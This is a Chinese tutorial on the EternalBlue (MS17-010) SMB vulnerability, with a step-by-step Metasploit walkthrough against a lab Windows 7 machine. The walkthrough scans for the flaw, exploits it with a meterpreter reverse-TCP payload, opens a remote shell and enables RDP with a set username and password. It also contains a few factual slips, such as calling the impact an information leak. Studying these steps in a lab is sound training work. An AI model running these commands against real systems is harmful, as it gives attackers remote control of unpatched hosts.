赞
踩
永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。
漏洞名称:“永恒之蓝”漏洞
漏洞编号:MS17-010,CVE-2017 0143/0144/0145/0146/0147/0148
漏洞类型:缓冲区溢出漏洞
漏洞影响:信息泄露
SMB(全称是Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。
永恒之蓝漏洞通过 TCP 的445和139端口,来利用 SMBv1 和 NBT 中的远程代码执行漏洞,通过恶意代码扫描并攻击开放445文件共享端口的 Windows 主机。只要用户主机开机联网,即可通过该漏洞控制用户的主机。不法分子就能在其电脑或服务器中植入勒索病毒、窃取用户隐私、远程控制木马等恶意程序。
补充:
“445端口是TCP共享服务 445端口它将尝试同时连接到端口139和445。如果端口445有响应,它将向端口139发送TCPRST数据包,以断开并继续与端口455的通信;当端口445没有响应时,使用端口139。”
“139 NetBIOS File and Print Sharing 通过这个端口进入的连接试图获得NetBIOS/SMB服务。这个协议被用于Windows"文件和打印机共享"和SAMBA。在Internet上共享自己的硬盘可能是最常见的问题。139属于TCP协议。”
目前已知受影响的 Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。
Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的,但是再后来的新版中,改成了用Ruby语言编写的了。在kali中,自带了Metasploit工具。
进入框架:msfconsole
使用search命令查找相关漏洞: search ms17-010
使用use进入模块: use exploit/windows/smb/ms17_010_eternalblue
使用info查看模块信息: info
设置攻击载荷:set payload windows/x64/meterpreter/reverse_tcp
查看模块需要配置的参数:show options
设置参数:set RHOST 192.168.125.138
攻击:exploit / run
后渗透阶段
nmap -O 192.168.139
.*
命令:msfconsole
search ms17-010
扫描后获得两个工具auxiliary/scanner/smb/smb_ms17_010
永恒之蓝扫描模块,探测主机是否存在MS17_010漏洞exploit/windows/smb/ms17_010_eternalblue
永恒之蓝攻击代码,一般配合使用,前者先扫描,若显示有漏洞,再进行攻击。
命令: use auxiliary/scanner/smb/smb_ms17_010
命令:show options
右边Required为yes的选项说明左边 Current Setting 这个项对应的需要填写,比如Rhosts
RHOSTS 参数是要探测主机的ip或ip范围(比如 192.168.125.125-192.168.125.140 或者 192.168.1.0/24)
命令:set rhosts 192.168.139.133
命令:run
图中带[+]符号表示该主机192.168.139.133存在此漏洞(正是我们的靶机win7)
命令:use exploit/windows/smb/ms17_010_eternalblue
命令:info
命令:show targets
这个命令显示该攻击模块针对哪些特定操作系统版本、语言版本的系统
注:有些其他的漏洞模块对操作系统的语言和版本要求的很严,比如MS08_067,这样就要我们指定目标系统的版本的。如果不设置的话,MSF会自动帮我们判断目标操作系统的版本和语言(利用目标系统的指纹特征)
命令:show payloads
该命令可以查看当前漏洞利用模块下可用的所有Payload
攻击载荷是我们期望在目标系统在被渗透攻击之后完成的实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令
命令:set payload windows/x64/meterpreter/reverse_tcp
命令:show options
命令:set rhosts 192.168.139.133
(如果有多个攻击目标 ip间直接用空格隔开即可)
命令:set LHOST 192.168.139.129
命令:run
运行了exploit命令之后,我们开启了一个reverse TCP监听器来监听本地的 4444 端口,即我(攻击者)的本地主机地址(LHOST)和端口号(LPORT)。运行成功之后,我们将会看到命令提示符 meterpreter > 出现
命令:shell
exit
chcp 65001
background
sessions -l
sessions -i 1
命令:run post/windows/manage/enable_rdp USERNAME=qyx PASSWORD=1234
命令:run post/windows/manage/enable_rdp
输入前:
输入后:
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。